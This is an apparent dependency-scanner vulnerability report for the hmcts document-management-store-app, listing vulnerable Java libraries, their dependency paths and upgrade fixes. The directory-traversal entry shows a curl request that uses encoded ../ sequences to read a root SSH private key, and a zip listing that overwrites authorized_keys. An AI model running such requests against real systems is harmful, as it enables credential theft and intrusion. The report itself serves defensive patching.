Upgrade org.springframework.security:spring-security-core to version 5.3.2.RELEASE, 5.2.4.RELEASE, 5.1.10.RELEASE, 5.0.16.RELEASE, 4.2.16.RELEASE or higher.

References

medium severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.18.9, com.azure:azure-storage-blob@12.35.1 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.10.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.22.1 › com.fasterxml.jackson.core:jackson-databind@2.18.9

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the isSafeSubType() method of DefaultBaseTypeLimitingValidator, whose denylist of unsafe base types omits java.lang.Comparable, so the method returns true for any subtype resolved under a Comparable base. An attacker can trigger instantiation of arbitrary classes that implement Comparable, such as java.io.File to reach path-traversal primitives, by sending JSON with attacker-controlled type identifiers. This requires the application to use a bare @JsonTypeInfo with the default validator and no explicit PolymorphicTypeValidator, and a property or class whose declared base type is Comparable.

Workaround

This vulnerability can be avoided by configuring an explicit restrictive PolymorphicTypeValidator, such as a BasicPolymorphicTypeValidator allowlist passed to activateDefaultTyping(), instead of relying on the default validator.

Note: The discoverer of this vulnerability reports that "I have not identified a class implementing Comparable that yields code execution purely through deserialization".

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.10, 2.21.6, 2.22.2 or higher.

References

medium severity
new

Directory Traversal

  • Vulnerable module: com.github.junrar:junrar
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-pkg-module@3.3.2 › com.github.junrar:junrar@7.6.0
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.0.0.

Overview

com.github.junrar:junrar is a rar decompression library in plain java.

Affected versions of this package are vulnerable to Directory Traversal due to unchecked intermediate directory creation in LocalFolderExtractor’s makeFile() path handling. An attacker can create directories outside the extraction root by supplying a crafted RAR entry whose final path passes canonical-path validation while one or more intermediate mkdir() calls in the extraction process follow attacker-chosen parent segments. This lets a malicious archive pollute the filesystem with directories outside the intended destination and can break later writes by squatting on expected paths. The issue affects users who extract untrusted RAR files with junrar 7.6.0 and earlier.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade com.github.junrar:junrar to version 7.6.1 or higher.

References

medium severity

Use of Incorrectly-Resolved Name or Reference

  • Vulnerable module: io.projectreactor.netty:reactor-netty-core
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18

Overview

Affected versions of this package are vulnerable to Use of Incorrectly-Resolved Name or Reference in the process of handling DNS resolution when multiple clients with different DNS resolver configurations are dynamically created. An attacker can cause traffic to be routed to unintended destinations by exploiting the reuse of a previously configured DNS resolver.

Remediation

Upgrade io.projectreactor.netty:reactor-netty-core to version 1.3.7 or higher.

References

medium severity

User Impersonation

  • Vulnerable module: io.projectreactor.netty:reactor-netty-http
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18

Overview

Affected versions of this package are vulnerable to User Impersonation in the evaluation of the remote IP address when the HAProxy Protocol is enabled. An attacker can bypass IP-based access controls by sending specially crafted requests.

Note: This is only exploitable if the application is configured to use the HAProxy Protocol.

Remediation

Upgrade io.projectreactor.netty:reactor-netty-http to version 1.3.7 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: org.apache.logging.log4j:log4j-api
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2, org.springframework.boot:spring-boot-starter-validation@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi@5.5.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi-scratchpad@5.5.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-validation@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-actuator@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-aop@4.0.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-batch@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-jpa@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-actuator@4.2.0-M2 › org.springframework.boot:spring-boot-starter-micrometer-metrics@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-jpa@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jdbc@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › org.springframework.boot:spring-boot-starter-validation@4.2.0-M2 › org.springframework.boot:spring-boot-starter@4.2.0-M2 › org.springframework.boot:spring-boot-starter-logging@4.2.0-M2 › org.apache.logging.log4j:log4j-to-slf4j@2.26.1 › org.apache.logging.log4j:log4j-api@3.0.0-beta2

Overview

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the MapMessage.asJson() method, which emits the bare NaN, Infinity, or -Infinity tokens instead of an RFC 8259-compliant representation. An attacker can emit malformed JSON that corrupts the enclosing log record or disrupts downstream log ingestion and parsing by supplying non-finite floating-point values that the application records in a logged MapMessage. Exploitation requires the application to use the message resolver of JsonTemplateLayout, or another layout relying on MapMessage.asJson(), and to log a MapMessage holding attacker-controlled floating-point values.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-34481.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

HTTP Response Splitting

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3, org.springframework.boot:spring-boot-starter-web@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework:spring-web@6.2.19
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.3.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-openfeign-core@4.3.3 › io.github.openfeign:feign-form-spring@13.6.1 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › org.springframework.data:spring-data-rest-core@5.2.0-M2 › org.springframework.hateoas:spring-hateoas@3.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to HTTP Response Splitting via the Content-Disposition header when untrusted input is used to construct its value. An attacker can inject malicious characters to break the HTTP header or corrupt the framing of an outbound multipart body by supplying specially crafted file names or values.

Note: This is only exploitable if the application uses non-default or legacy HTTP connectors that do not reject malicious characters in header values, or if untrusted input is used to set the Content-Disposition of a part in an outbound multipart request body.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

medium severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@5.7.14.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of String.toLowerCase() and String.toUpperCase() that have Locale dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade org.springframework.security:spring-security-config to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

medium severity

Access Control Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Access Control Bypass in the InetAddressMatchers process. An attacker can bypass network-based access control checks by supplying the IPv4 or IPv6 "any local" addresses (0.0.0.0 or ::), which are incorrectly classified as external rather than internal. This is only exploitable if the application uses InetAddressMatchers.matchInternal() or InetAddressMatchers.matchExternal() and relies on their classification to make access control decisions for 0.0.0.0 or ::.

Remediation

Upgrade org.springframework.security:spring-security-core to version 7.1.1 or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.7.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Access Restriction Bypass. Remote attackers can bypass intended security restrictions and execute untrusted code by (1) serializing a java.lang.Proxy instance and using InvocationHandler, or (2) accessing internal AOP interfaces, as demonstrated using deserialization of a DefaultListableBeanFactory instance to execute arbitrary commands via the java.lang.Runtime class.

Remediation

Upgrade org.springframework.security:spring-security-core to version 2.0.7.RELEASE, 3.0.6.RELEASE or higher.

References

medium severity

Authorization Bypass

